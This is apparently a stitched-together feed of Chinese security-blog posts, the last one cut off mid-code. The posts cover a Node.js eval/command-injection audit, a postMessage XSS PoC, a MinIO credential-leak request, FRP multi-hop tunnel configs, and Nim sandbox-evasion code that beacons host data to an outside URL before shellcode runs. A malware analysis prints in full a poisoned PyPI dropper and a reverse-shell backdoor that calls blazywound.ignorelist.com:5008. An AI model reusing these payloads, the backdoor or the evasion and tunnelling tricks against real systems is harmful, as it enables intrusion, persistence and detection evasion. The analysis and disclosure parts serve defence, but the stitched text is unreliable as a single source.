之前举行过的云资产的演练又开始了,目前拥有目标某设备的老版本前台RCE漏洞,但本次因某些原因不允许使用此漏洞,所以入口点需要重新找,准备找个新洞,记录nodejs审计过程如下
首先我的想法是寻找那种简单的命令注入漏洞,因为之前的洞就蛮简单的,我做了如下操作,目的是定位调用了命令执行函数的路由文件
grep -rl "child_process" --include=\*.js .
然后首先看的是ping功能,很简单的定义路由,接参,然后传入命令执行函数中,但发现存在正则过滤,由于正则我都是现记现忘,重新看了下,写死了\d限制了其他字符,所以漏洞不存在
接着过了一遍筛选出来的所有存在命令注入函数的路由,没发现能用的,有的看着代码是存在漏洞但是当用在目标网站上是不存在漏洞的,推测是目标更新了版本进行修复漏洞(这里还没有去跟踪各个函数调用链深挖)
随即又搜了下nodejs的文章知道了还可以寻找代码执行漏洞,也就是eval函数,eval参数可控时直接进行导入命令执行进行调用就行
http://localhost:3000/?abc=require('child_process').execSync('open -a Calculator.app', { encoding: 'utf8' })
grep大法之故技重施,实际就有2个route文件存在eval,当然别的文件也是耗费精力看了但没东西,就不讲了,后续在反推eval函数代码执行的调用链中同时找到一个命令注入漏洞
grep -rl "eval" --include=\*.js .
然后就是发现的漏洞从eval函数反推调用链路及传参的伤脑细胞过程,调用链中较为重要的函数调用过程如下,函数里嵌套的其他一些函数就不写了
+-----------------------------------------------------------------+
| router.post('/generatorRuleMap', function (req, res) |
+-----------------------------------------------------------------+
|
V
+-----------------------------------------------------------------+
| execGetNostructureNodeAndLinks(NodeSet, startTime, ... , cb) |
+-----------------------------------------------------------------+
|
V
+-----------------------------------------------------------------+
| getRelationNodeandLinks(resultSet, relationMap, ... , cb) |
+-----------------------------------------------------------------+
|
V
+-----------------------------------------------------------------+
| getNodevalueBynodeType(row, nodeType, regex, index, cb) |
+-----------------------------------------------------------------+
|
V
+-----------------------------------------------------------------+
| getRegexPattern(srcMessage, pattern, index) |
+-----------------------------------------------------------------+
此为最终调用eval的函数,没有限制,直接将接收的参数传入eval函数,payload参数名为pattern
此函数为当nodeType!=1时进入目标函数,payload参数名为regex
此函数需要使relationMap!=1进入目标函数,payload参数名为relationMap.srcRegex,是键的值
此函数需要满足3个条件进入目标函数,payload参数名为relationShips => relation
此函数需要满足5个条件才能进入目标函数
payload参数名依次变化如下,并且可知我们控制的参数是用来控制查询的id,而不是直接传入exp,所以还需要找到id对应的值是插入到数据库的过程
req.body._id //获得请求参数
↓
s_id //对请求参数进行了过滤,防止出现sql注入
↓
docs.relationships //查询结果的键
↓
relations //查询结果的键
↓
resultRelation.noStructure //经splitrelationsBystructure函数处理后返回的键
↓
noStructureRelations //经splitrelationsBystructure函数处理后返回的键
payload参数为relationShips,若要将payload最终保存到noStructure键中,需满足以下条件
并且通过这里的键调用,联动前面的payload传递过程,也得知了最终传入eval的参数为srcRegex,如果在下面这个函数中调用,就是relation.srcRegex,和srcNodeType这些是同级的,所以srcRegex和srcNodeType这些都是插入id对应的内容中的键名
由于需要找到如何控制id查询结果,所以在网站上找到代码中对应的前端功能位置,此功能是生成关系规则图,然后在前端找到了对应的添加关系规则的功能,由于没保存具体图片,口述记录一下过程
然后在尝试新增关系模型时,发现提交对应的参数输入框被注释了,当时梳理的还没有那么清晰还是什么其他原因导致没在http中改包,是使用burp将返回<!--注释符号注释和其他的一些返回包修改,让新增关系模型的功能重新在前端显示
获取到添加关系模型的路由和数据包后,定位到代码,确定无误,参数名都能对上,最后构造能够满足以上需要步入的目标函数的所有条件的参数值
最终利用过程分为四步
1.添加关系规则
2.查询关系规则,获得ID
3.调用ID,触发payload
4.删除关系规则,否则会在数据库中留下很多数据
5.目标不出网通过写入文件执行命令结果进行命令回显
命令执行是在找代码执行跟踪调用链时发现的,这个函数就是在代码执行调用链那个execGetNostructureNodeAndLinks函数中调用的
传入到这里的参数跟踪后会发现是和代码执行中传入的payload是差不多的,通过审计发现只是传入的参数名改为了srcLogfield,利用过程就不写了,就是添加关系时payload改下参数
0x03 总结
整体就是类似于sql的二次注入的代码执行&命令注入漏洞,先保存payload到数据库,在后面调用数据库数据时触发恶意代码。
看文章说nodejs的代码还可以尝试找原型链污染进行RCE,以后有需要再学,最后吐槽下公司给我们调薪了,高兴吧?是往下调!入职几年,年收入比入职时还低了,还低了,抵了,了...🤡
实际审计过程还有其他一些东西,大概如下
在Java编程语言中,interface和implements两个关键字都跟面向对象编程的概念有密切的关系。下面是对它们的基础解释:
interface:在Java中,接口(interface)是一种引用类型,跟类(class)是同级的结构。它是一种完全抽象的类型,用于定义对象之间的约定或行为规范。接口中可以定义抽象方法和常量,但不能包含普通方法(除非是Java 8之后引入的default方法和静态方法)。实质上,接口是对动作的抽象。
implements:这是一个关键字,用于类来"实现"一个或多个接口。当一个类实现了一个接口,就意味着这个类必须提供接口中所有抽象方法的具体实现。一个类可以实现多个接口,这就提供了一种对于Java单继承的补充机制。
以下是一个简单的接口和类的示例:
interface Animal {
void eat();
void sleep();
}
class Dog implements Animal {
@Override
public void eat() {
System.out.println("The dog eats.");
}
@Override
public void sleep() {
System.out.println("The dog sleeps.");
}
public void bark() {
System.out.println("The dog barks.");
}
}
在这个例子中,我们定义了一个名为Animal的接口,接口有两个方法:eat
和sleep
。然后,我们创建了一个类Dog,这个类通过使用关键字implements
来实现了Animal接口。这就意味着Dog类必须提供Animal接口中所有方法的实现。
请注意,虽然Dog
类必须实现所有的Animal
接口的方法,但这并不意味着Dog
类不能有Animal
接口之外的其他方法。例如,Dog
类可能还有其他方法,如 bark()
:
在这个例子中,你能够在Dog
对象上调用bark()
方法:
Dog myDog = new Dog();
myDog.bark(); // The dog barks.
但你不能在Animal
对象上调用bark()
方法,因为它不是Animal
接口的一部分:
Animal myAnimal = new Dog(); // This is allowed because Dog is a subtype of Animal.
myAnimal.bark(); // This is NOT allowed.
在上述例子中,尽管myAnimal
是一个Dog
的实例,但是由于其类型被声明为Animal
,我们只能调用在Animal
接口中定义的方法。如果你需要调用bark()
方法,就需要将对象类型转换成Dog
:
Animal myAnimal = new Dog(); // This is allowed because Dog is a subtype of Animal.
((Dog)myAnimal).bark(); // This would be allowed because we are casting myAnimal to Dog.
总体而言,使用interface
和implements
的关键目的是创建一个可以由多种类按照共享的规则进行实现的架构,这样通过使用多态性,就可以使我们的代码更加灵活和可扩展。
那么实际在审计中这个基础知识又扮演着什么角色,这里用某个OA的漏洞触发点跟踪过程进行举例。
当你找到此漏洞路径关联的调用方法,onMessage()
然后你每次都利用idea进行command+鼠标左键进行跟踪,直到追溯到handleMessage()方法,发现,咦,怎么是空的
这个时候如果你知道interface&implements的关系,那么你就会去找实现WorkspaceMessageHandler这个接口的类了,也知道为啥要搜implements WorkspaceMessageHandler了(快捷跳转见文尾)。
最终你成功找到了漏洞触发方法,而不是半路夭折。
PS: idea右键转到接口实现代码,快捷键option+command+B
]]> 发现有人写了帆软的GUI放在github,试用后觉得很方便,遂下载后尝试将新的利用链添加进去,以方便后续自己测试用,但是将利用链的jar包依赖添加进去后,打包出来的jar包太大了,有200多mb,所以想缩减下
有人说一个一个看依赖然后去做适配,觉得不太现实,最后使用方法如下
修改依赖fine-third-10.0.jar为fine-third-10.0.zip
使用MacZip(mac的压缩工具,其他压缩工具不可以)
然后选中不需要的依赖去移除,实际删除一些没用到的大体积的文件夹就可以了
一开始记得以前弄过,就是改压缩包去缩减体积,具体记不清了。
最终效果
简单实用,200多mb => 40mb,顺便标题改成自己的ID,哈哈哈,感谢yecp181的源码
1.新建VPN
2.选择LNS类型,输入一些输入项,然后新建一个用户,记住这里设置的对端隧道名称,客户端连接时要用到
3.输入地址设置,这里的IP地址自由设置,只要不和此防火墙设备的IP在同一网段即可
4.安装HUAWEI SecoClient客户端进行连接
我是Mac,找了下资源,win的和mac的安装包都存在百度云了
链接: https://pan.baidu.com/s/1lb1RczQuvVWeP5Pr1TwuFQ 提取码: sven
5.输入设置的信息,LNS服务器地址就是防火墙IP地址,PAP模式,如果设置了隧道密码就启用隧道验证功能,这里我设置了,所以开启,隧道名称填刚才新建隧道的对端隧道名称,如果不对应是连不上的
6.使用设置的用户密码进行登录,连接成功,这时连接后当前电脑也就无法上网了
7.经测试,修改连接配置为允许连接后联网,并设置好内网IP段(在防火墙路由表或其他配置中可看到相关内网网段),这样就可以通内网资产了,不这样设置我这里会导致ping任意网段都是通的(实际使用时,需自行测试是否需要此步骤)
]]>RELEASE.2019-12-17T23-16-33Z <= version < MinIO RELEASE.2023-03-20T20-16-18Z
version: '3.7'
# starts 4 docker containers running minio server instances. Each
# minio server's web interface will be accessible on the host at port
# 9001 through 9004.
services:
minio1:
image: minio/minio:RELEASE.2023-01-31T02-24-19Z
container_name: minio1
volumes:
- data1-1:/data1
- data1-2:/data2
ports:
- "9001:9000"
environment:
MINIO_ACCESS_KEY: minio
MINIO_SECRET_KEY: minio123
command: server http://minio{1...4}/data{1...2}
healthcheck:
test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]
interval: 30s
timeout: 20s
retries: 3
minio2:
image: minio/minio:RELEASE.2023-01-31T02-24-19Z
container_name: minio2
volumes:
- data2-1:/data1
- data2-2:/data2
ports:
- "9002:9000"
environment:
MINIO_ACCESS_KEY: minio
MINIO_SECRET_KEY: minio123
command: server http://minio{1...4}/data{1...2}
healthcheck:
test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]
interval: 30s
timeout: 20s
retries: 3
minio3:
image: minio/minio:RELEASE.2023-01-31T02-24-19Z
container_name: minio3
volumes:
- data3-1:/data1
- data3-2:/data2
ports:
- "9003:9000"
environment:
MINIO_ACCESS_KEY: minio
MINIO_SECRET_KEY: minio123
command: server http://minio{1...4}/data{1...2}
healthcheck:
test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]
interval: 30s
timeout: 20s
retries: 3
minio4:
image: minio/minio:RELEASE.2023-01-31T02-24-19Z
container_name: minio4
volumes:
- data4-1:/data1
- data4-2:/data2
ports:
- "9004:9000"
environment:
MINIO_ACCESS_KEY: minio
MINIO_SECRET_KEY: minio123
command: server http://minio{1...4}/data{1...2}
healthcheck:
test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]
interval: 30s
timeout: 20s
retries: 3
## By default this config uses default local driver,
## For custom volumes replace with volume driver configuration.
volumes:
data1-1:
data1-2:
data2-1:
data2-2:
data3-1:
data3-2:
data4-1:
data4-2:
启动环境
docker-compose -f docker-compose.yml up
获取凭据
POST /minio/bootstrap/v1/verify HTTP/1.1
Host: 192.168.0.113:9001
Content-Length: 0
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://127.0.0.1:9001/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
PS:包含本次其他漏洞的联合利用还有待研究
]]>postMessage API 是在 HTML5 中引入的通信方法,可以在标签中实现跨域通信。
简单来说就是两个网页窗口进行通信的方法。
]]>postMessage API 是在 HTML5 中引入的通信方法,可以在标签中实现跨域通信。
简单来说就是两个网页窗口进行通信的方法。
接收postMessages通信
的测试html网页 ==> 相等于一个正常网站页面<!-- 假如这是一个正常系统的.html -->
<head><meta charset="UTF-8"></head>
<div id="receiveMessage">
Hello World!
</div>
<script>
var test = "flag{123456}";
window.onload = function() {
window.addEventListener('message', function (e) { // 监听 message 事件
// alert(e.origin);
document.getElementById('receiveMessage').innerHTML = "从"+ e.origin +"收到消息: " + e.data;
});
}
</script>
使用postMessages发送通信
的测试html网页 ==> 相等于一个攻击页面<!-- POC.html -->
<title>Postmessage PoC</title>
<script>
function pocFrame(win) {
let msg = "hello world!";
win.postMessage(msg, '*');
}
</script>
<iframe src="http://127.0.0.1:9000/listen.html" onload="pocFrame(this.contentWindow)"></iframe>
A页面持续监听通信,当访问B页面的时候运行js代码,向A页面发送通信,A页面接受信息然后对接受内容进行处理
应用场景: 一个网站实时监听,另一个网页某项运行流程结束后发送进度通知到监听的网页,后续如何xxx...
<!-- POC.html -->
<title>Postmessage PoC</title>
<script>
function pocFrame(win) {
let msg = "hello world! <img src=x onerror=alert(test)>";
win.postMessage(msg, '*');
}
</script>
<iframe src="http://127.0.0.1:9000/listen.html" onload="pocFrame(this.contentWindow)"></iframe>
消息接收方没有对发送方的身份进行验证,导致可以自定义发送方网页
if (e.origin !== "https://www.freebuf.com")
消息接收方对发送方发送的内容进行了展示处理,从而可以使用XSS payload进行截断
document.getElementById('receiveMessage').innerHTML = "从"+ e.origin +"收到消息: " + e.data;
和反射型xss类似,用户在访问目标网站的时候,打开了攻击者提供的url,url是携带xss payload的poc.html,导致在目标网站执行了js代码。
上面展示的是接收方没有对发送身份验证,在对接收的消息进行处理后被xss payload截断导致存在xss漏洞
那么这样就还会有另外一种形式的漏洞,发送方没有设置接收方的身份,例如 xxx.postMessage(msg,'*');
*号代表对接收方的窗口没有限制,只要你设置了监听(addEventListener)都可以接收到,那么如果正常系统在发送的时候就是如此设置,而刚好发送内容是一些敏感的信息,如账号密码的hash,那么你通过设置了监听当做接收方的恶意html,用户浏览正常系统时,然后在打开你的html后你就可以获得其正常网站的发送内容
通过postMessage方法的关键字进行定位功能点,通过debug代码寻找触发点,从而获得漏洞,可以使用burp的插件J2EEScan辅助寻找使用相应功能的js文件,如何扩展延伸的进行挖掘对于我来说是一个有待开发的过程,目前我本人对此漏洞的经验并不足以帮我找到更好的自动化挖掘办法ing,
]]>"阳康"后在github闲逛时发现同事star了一个后处理免杀项目,看描述说可以绕过任何类型的防病毒产品,自然我也对项目产生了一些兴趣,遂开始查看项目代码并由此开启了本次的投毒项目分析。
PS:此前并未在其他渠道发现本次分析项目的预警
]]>"阳康"后在github闲逛时发现同事star了一个后处理免杀项目,看描述说可以绕过任何类型的防病毒产品,自然我也对项目产生了一些兴趣,遂开始查看项目代码并由此开启了本次的投毒项目分析。
PS:此前并未在其他渠道发现本次分析项目的预警
文章编写时项目还在正常运行,我将其保存在了快照网站,若后面项目删除方便继续查看
https://github.com/machine1337/pycrypt
https://web.archive.org/web/20230103031922/https://github.com/machine1337/pycrypt
项目的介绍较长且附带视频,整体并无异常,在查看代码准备了解实现原理时发现异常,其导入了一个异常的依赖库colourema,有一些PY代码编写基础的朋友应该知道修改终端颜色的依赖库叫做colorama,那么很明显这里可能存在一些问题
在pypi的依赖库介绍中,colourema的介绍有3000+star,实际链接却为colorama,到此确定此依赖库存在后门。
通过对依赖库代码进行查看,因担心使用vscode存在一些风险,使用sublime打开,最后于initialise.py文件中发现后门代码
import os,platform,subprocess
if platform.system().startswith("Linux"):
try:
with open('/tmp/file.py', 'w') as f:
f.write("import os \nimport subprocess \nfrom pathlib import Path \nfrom urllib import request \nhello = os.getlogin() \nPATH = '/home/' + hello + '/.msfdb/update'\nPAT = '/tmp/file.py'\nisExist = os.path.exists(PATH) \nif not isExist:\n os.makedirs(PATH) \nif Path(PATH).is_file(): \n print("") \nelse: \n")
f.write(" remote_url ='https://dl.dropboxusercontent.com/s/bpf0cfzf2h576o3/mozila.sh'\n local_file = PATH+'/.path.sh' \n request.urlretrieve(remote_url, local_file) \n subprocess.call(\"bash /home/$USER/.msfdb/update/.path.sh >/dev/null 2>&1\", shell=True) \n")
f.write(" if Path(PAT).is_file(): \n try:\n os.remove(PAT)\n except:\n print()")
except FileNotFoundError:
print("")
subprocess.call("python3 /tmp/file.py &", shell=True)
上面代码下载并运行了此链接的sh文件,同样保存在了web.archive.org中,后续的相关文件也是如此,方便后续其他感兴趣的师傅复查
#sh文件中继续中转发现一层加密
https://dl.dropboxusercontent.com/s/bpf0cfzf2h576o3/mozila.sh
#加密代码链接
https://dl.dropboxusercontent.com/s/n7xl8ki0k9xqt7x/update.py
fpyepsdb = chr(105)
zbieto = chr(109) + chr(112) + chr(111) + chr(114) + chr(116) + chr(32) + chr(98) + chr(97)
ontxmpdwi = chr(115) + chr(101) + chr(54) + chr(52) + chr(59) + chr(101) + chr(120) + chr(101)
rdnpqwkiz = chr(99) + chr(40) + chr(39) + chr(39) + chr(46) + chr(106) + chr(111) + chr(105)
qvjlktvg = chr(110) + chr(40) + chr(91) + chr(121) + chr(91) + chr(48) + chr(93) + chr(32)
nqsokf = chr(102) + chr(111) + chr(114) + chr(32) + chr(120) + chr(32) + chr(105) + chr(110)
...
同样是很长的一段加密字符串
...
qytpmsygab = ""
qytpmsygab += fpyepsdb
qytpmsygab+= zbieto + ontxmpdwi
...
同样是很长的一段加密字符串
...
qytpmsygab+= xpcexvz + yslqs
exec(qytpmsygab)
上一步解密后代码中的那段很长的加密字符串
import base64;
exec(''.join([y[0] for x in [x for x in base64.b64decode( ('同样是很长的一段加密字符串').encode('ascii') ).decode('ascii')] for y in [[x[0], x[1]] for x in {'\t': '6', '\n': 'R', ' ': 'U', '!': 'Y', '@': 'i', '~': 'n', '`': 'Q', '#': '7', '$': 'A', '%': 'E', '^': '$', '&': 'o', '*': 'm', '(': '!', ')': '/', '_': '~', '=': 'L', '-': 'h', '+': ')', '{': 'N', '}': 'O', '|': '\\', '\\': 'g', '[': 'S', ']': '+', ':': 'z', ';': '|', '"': 's', "'": '`', ',': '{', '.': 'F', '/': ']', '?': '2', '>': 'y', '<': 'l', '0': '%', '1': 'W', '2': 'H', '3': 'c', '4': '\n', '5': 'x', '6': 'Z', '7': '.', '8': '>', '9': 'K', 'a': '<', 'b': 'V', 'c': '(', 'd': 'B', 'e': ';', 'f': 'u', 'g': "'", 'h': 'p', 'i': 'w', 'j': '3', 'k': '}', 'l': '1', 'm': 't', 'n': 'k', 'o': '9', 'p': '?', 'q': 'M', 'u': 'q', 'r': 'a', 's': '0', 't': '\t', 'v': 'J', 'w': '=', 'x': 'T', 'y': '_', 'z': 'G', 'A': '[', 'B': '&', 'C': '4', 'D': '-', 'E': '@', 'F': 'e', 'G': '^', 'H': 'f', 'I': '8', 'J': '*', 'K': 'D', 'L': '#', 'M': 'C', 'N': ' ', 'O': 'b', 'P': 'P', 'Q': 'X', 'U': ',', 'R': '"', 'S': 'd', 'T': 'j', 'V': 'I', 'W': 'v', 'X': '5', 'Y': ':', 'Z': 'r'}.items()] if x == y[1]]))
上一步解密后代码中的那段很长的加密字符串
from cryptography.fernet import Fernet
encrypted_message = '同样是很长的一段加密字符串'
key = b'fFdnVFFLuGqYOndl9Xvp9pRnOenZ__grZS5sFssfiX4='
f = Fernet(key)
decrypted_message = f.decrypt(encrypted_message.encode())
exec(decrypted_message.decode())
上一步解密后代码中的那段很长的加密字符串
import codecs
exec(codecs.decode(b'同样是很长的一段加密字符串', "hex").decode())
上一步解密后代码中的那段很长的加密字符串
import gzip
code = b"同样是很长的一段加密字符串".decode()
exec(gzip.decompress(code.encode('cp437')).decode())
import socket
import json
import subprocess
import time
import os
import sys
def reliable_send(data):
jsondata = json.dumps(data)
s.send(jsondata.encode())
def reliable_recv():
data = ''
while True:
try:
data = data + s.recv(1024).decode().rstrip()
return json.loads(data)
except ValueError:
continue
def download_file(file_name):
f = open(file_name, 'wb')
s.settimeout(2)
chunk = s.recv(1024)
while chunk:
f.write(chunk)
try:
chunk = s.recv(1024)
except socket.timeout as e:
break
s.settimeout(None)
f.close()
def upload_file(file_name):
f = open(file_name, 'rb')
s.send(f.read())
def shell():
while True:
command = reliable_recv()
if command == 'quit':
break
elif command == 'background': # BEGIN
pass
elif command == 'help': # ideally to be removed
pass
elif command == 'clear':
pass # END
elif command[:3] == 'cd ':
os.chdir(command[3:])
elif command[:6] == 'upload':
download_file(command[7:])
elif command[:8] == 'download':
upload_file(command[9:])
elif command[:7] == 'sendall':
subprocess.Popen(command[8:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
else:
execute = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
result = execute.stdout.read() + execute.stderr.read()
result = result.decode()
reliable_send(result)
def connection():
while True:
time.sleep(5)
try:
s.connect(('blazywound.ignorelist.com', 5008))
shell()
s.close()
break
except:
connection()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection()
通过对投毒项目的宿主进行查看,发现此用户自称为漏洞赏金猎人和渗透测试人员的一名大学生,自我介绍包装的几乎完美,且拥有近300名的关注者,共发布35个原创红队相关项目。
https://github.com/machine1337?tab=repositories&q=&type=source&language=&sort=
经过调查,所有Python项目都是相同手法,通过PYPI依赖库进行部署后门,早期项目还有使用sh文件的手法,最早的后门项目存在于2021.9.24,并于2022.11月到12月账号恢复活跃。
一名2022.11月到12月恢复活跃的专门针对红队的钓鱼人员或者某个组织,通过投毒PYPI依赖库,再发布后处理免杀项目及其他红队项目进行导入依赖,经过七层中转的加密代码,最终与blazywound.ignorelist.co:5008进行socket通信进行上线机器,后门实际拥有的功能为: 切换工作目录、上传文件、下载文件、任意命令执行。
blazywound.ignorelist.co:5008
Linux | md5 Hash |
---|---|
/tmp/file.py | ee69b2d189165555d4ec32f944cb262c |
/home/$USER/.msfdb/update/.path.sh | 5412834b8be0ee5cdeeede11430ca17c |
/home/$USER/.msfdb/update/update.py | c855106e06b259d2b30bd754561ea9a |
在红队行动中,搭建隧道几乎可以说是必遇到的攻击场景之一,所以提前准备好相应的隧道代理方案对于提高攻击效率尤为重要,实际项目中会遇到的问题也是本文主要解决的问题如下:
]]> 在红队行动中,搭建隧道几乎可以说是必遇到的攻击场景之一,所以提前准备好相应的隧道代理方案对于提高攻击效率尤为重要,实际项目中会遇到的问题也是本文主要解决的问题如下:
项目地址: https://github.com/DongHuangT1/Frp
项目地址: https://github.com/Goqi/Erfrp
FRP多级代理拓扑图: https://github.com/sv3nbeast/Frp-Mapping
实际上frp经过修改过的源码杀软查杀并不严重,所以二开过的frp,过杀软可以算是一个被动技能,若有习惯其他优秀隧道软件的,如stowaway、fuso、nps等,推荐按此文理清代理逻辑进行方案复刻。
通过编写的多级代理拓扑图可以发现不同层级代理的一点区别,无论是入口点机器还是内网机器无非就是提前在客户端配置文件内写好客户端和服务端的端口对应,那么为什么不从一开始就使用多级代理的配置文件从而避免内网横向后重新搭建二层、三层代理呢,遂这里提供个人在使用的最高支持三级代理的配置文件。
!
#frps.ini
[common]
token = xxxxxx
bind_port = 80
websocket_path = /xxxxx
dingding_token =
#frpc.ini
[common]
token = xxxxxx
del_enable = true
server_addr = author.xxx.com.xx.xx.com.cn
server_port = 80
protocol = websocket
websocket_path = /xxxxx
websocket_host = author.xxx.com
[socks5_to_1]
type = tcp
remote_port = 20000
plugin = socks5
plugin_user = admin
plugin_passwd = admin123
use_encryption = true
use_compression = true
[socks5_to_2]
type = tcp
local_ip = 127.0.0.1
local_port = 10088
remote_port = 12020
[socks5_to_3]
type = tcp
local_ip = 127.0.0.1
local_port = 11088
remote_port = 13020
#frps.ini
[common]
bind_port = 7000
#frpc.ini
[common]
#入口点服务端机器的IP
server_addr = 192.168.3.75
server_port = 7000
[socks5_to_1]
type = tcp
plugin = socks5
remote_port = 10088
[socks5_to_2]
type = tcp
local_ip = 127.0.0.1
local_port = 12088
remote_port = 11088
#frps.ini
[common]
bind_port = 7000
#frpc.ini
[common]
#二级代理服务端机器的IP
server_addr = 192.168.3.144
server_port = 7000
[socks5_to_1]
type = tcp
plugin = socks5
remote_port = 12088
入口点机器代理
socks5 100.100.100.100:20000 admin admin123
二级代理机器代理
socks5 100.100.100.100:12020 无密码
三级代理机器代理
socks5 100.100.100.100:13020 无密码
上面是最多支持三级代理的各个配置文件和连接信息,每次项目开始搭建第一个隧道时直接按照三级代理的层级进行搭建即可,每多一层直接在下一台机器进行连接。
注: 因为使用了2种二开版frp,所以在使用时需保证客户端和服务端为同一种frp
frp默认会加载当前目录下的frpc.ini文件,建议直接修改携带伪装性的frp文件名字,如linux的agent、windows的svchost.exe,并上传frpc.ini到当前目录,这样直接启动不需要携带任何参数,然后删除配置文件即可,虽然很多人使用的frp支持http远程加载和加密参数传输,但就特征而言,是很明显的,通过传参进行确定曾经kill过很多其他队伍的代理工具,所以不建议传任何参数。
如果觉得上传frpc.ini文件不习惯,可以修改此文件/cmd/frpc/sub/root.go
,将默认加载的配置文件改成其他名字重新编译。
linux启动代理后不光可以删除配置文件,二进制文件也可以一起删掉,不会影响已启动得代理进程,在linux机中养成好习惯,运行后删除文件
再总结一下优点:
下面是使用NIM获得我想要的信息的具体代码,而且必须吐槽一下,NIM很恶心,可以说是ctrl c v的宿敌,资料少的可怜到爆炸
import winlean,HttpClient,times
#auther:https://github.com/sv3nbeast
type
TPartitionInfo* = tuple[FreeSpace, TotalSpace: FileTime]
HANDLE* = int
HWND* = HANDLE
UINT* = int32
LPCSTR* = cstring
let randNum = $getTime().toUnix()
proc getFileSize*(file: string): BiggestInt =
## Retrieves the size of the specified file.
var fileData: WIN32_FIND_DATA
when useWinUnicode:
var aa = newWideCString(file)
let hFile = findFirstFileW(aa, fileData)
else:
let hFile = findFirstFileA(file, fileData)
if hFile == INVALID_HANDLE_VALUE:
raise newException(IOError, $getLastError())
return fileData.nFileSizeLow
proc getDiskFreeSpaceEx*(lpDirectoryName: cstring, lpFreeBytesAvailableToCaller,
lpTotalNumberOfBytes,
lpTotalNumberOfFreeBytes: var FileTime): WINBOOL{.
stdcall, dynlib: "kernel32", importc: "GetDiskFreeSpaceExA".}
#获得磁盘情况
proc getPartitionInfo*(partition: string): TPartitionInfo =
# Retrieves partition info, for example ``partition`` may be ``"C:\"``
#freeBytes:已使用字节
#totalBytes:磁盘总容量
var freeBytes, totalBytes, totalFreeBytes: FileTime
discard getDiskFreeSpaceEx(partition, freeBytes, totalBytes,
totalFreeBytes)
# var num = rdFileTime(totalBytes)
# var client = newHttpClient()
# var url = "http://api.day.app/VRzPbPFcQCYKtS3wr7Tbgf/disk/" #获得磁盘总容量
# url.add($randNum)
# url.add(": ")
# url.add($num)
# try:
# var err = client.getContent(url)
# except:
# return (freeBytes,totalBytes)
return (freeBytes,totalBytes)
#获取cpu数量
proc huasidsiuohiuodsaih():int =
when defined(windows):
type
SYSTEM_INFO {.final, pure.} = object
u1: int32
dwPageSize: int32
lpMinimumApplicationAddress: pointer
lpMaximumApplicationAddress: pointer
dwActiveProcessorMask: ptr int32
dwNumberOfProcessors: int32
dwProcessorType: int32
dwAllocationGranularity: int32
wProcessorLevel: int16
wProcessorRevision: int16
proc GetSystemInfo(lpSystemInfo: var SYSTEM_INFO) {.stdcall, dynlib: "kernel32", importc: "GetSystemInfo".}
var
si: SYSTEM_INFO
GetSystemInfo(si)
# var num = si.dwNumberOfProcessors
# var client = newHttpClient()
# var url = "http://api.day.app/VRzPbPFcQCYKtS3wr7Tbgf/cpu/"
# url.add($randNum)
# url.add(": ")
# url.add($num)
# try:
# var err = client.getContent(url)
# except:
# return si.dwNumberOfProcessors
return si.dwNumberOfProcessors
#获取内存大小
proc ihojhhasioadsoiihodas():int64 =
when defined(windows):
type
TMEMORYSTATUSEX {.final, pure.} = object
dwLength: int32
dwMemoryLoad: int32
ullTotalPhys: int64
ullAvailPhys: int64
ullTotalPageFile: int64
ullAvailPageFile: int64
ullTotalVirtual: int64
ullAvailVirtual: int64
ullAvailExtendedVirtual: int64
proc globalMemoryStatusEx(lpBuffer: var TMEMORYSTATUSEX) {.stdcall, dynlib: "kernel32",importc: "GlobalMemoryStatusEx".}
var statex: TMEMORYSTATUSEX
statex.dwLength = sizeof(statex).int32
globalMemoryStatusEx(statex)
# var num = statex.ullTotalPhys shr 20
# var client = newHttpClient()
# var url = "http://api.day.app/VRzPbPFcQCYKtS3wr7Tbgf/ram/"
# url.add($randNum)
# url.add(": ")
# url.add($num)
# try:
# var err = client.getContent(url)
# except:
# return statex.ullTotalPhys shr 20
return statex.ullTotalPhys shr 20
when defined(windows):
when isMainModule:
var huasidsiuohiuodsaih1 = huasidsiuohiuodsaih() #cpu
var ihojhhasioadsoiihodas1 = ihojhhasioadsoiihodas() #ram
var saolkpomsiejskraqjgir1 = rdFileTime(getPartitionInfo(r"C:\")[1]) #disk
var client = newHttpClient()
var url = "http://api.day.app/VRzPbPFcQCYKtS3wr7Tbgf/Defender/"
url.add($huasidsiuohiuodsaih1)
url.add(":")
url.add($ihojhhasioadsoiihodas1)
url.add(":")
url.add($saolkpomsiejskraqjgir1)
var jsfile = "https://hectorstatic.baidu.com/cd37ed75a9387c5b.js"
try:
var err = client.getContent(url)
except:
echo "Success!"
带免沙箱代码的NIM执行shellcode代码,目前VT的沙箱特征没加,有待收集齐全,有空再说吧
import winlean,HttpClient,winim
#auther:https://github.com/sv3nbeast
type
TPartitionInfo* = tuple[FreeSpace, TotalSpace: winlean.FILETIME]
HANDLE* = int
HWND* = HANDLE
UINT* = int32
LPCSTR* = cstring
proc MessageBox*(hWnd: HWND, lpText: LPCSTR, lpCaption: LPCSTR, uType: UINT): int32
{.discardable, stdcall, dynlib: "user32", importc: "MessageBoxA".}
proc getFileSize*(file: string): BiggestInt =
## Retrieves the size of the specified file.
var fileData: winlean.WIN32_FIND_DATA
when useWinUnicode:
var aa = newWideCString(file)
let hFile = findFirstFileW(aa, fileData)
else:
let hFile = findFirstFileA(file, fileData)
if hFile == winlean.INVALID_HANDLE_VALUE:
raise newException(IOError, $getLastError())
return fileData.nFileSizeLow
proc getDiskFreeSpaceEx*(lpDirectoryName: cstring, lpFreeBytesAvailableToCaller,
lpTotalNumberOfBytes,
lpTotalNumberOfFreeBytes: var winlean.FILETIME): winlean.WINBOOL{.
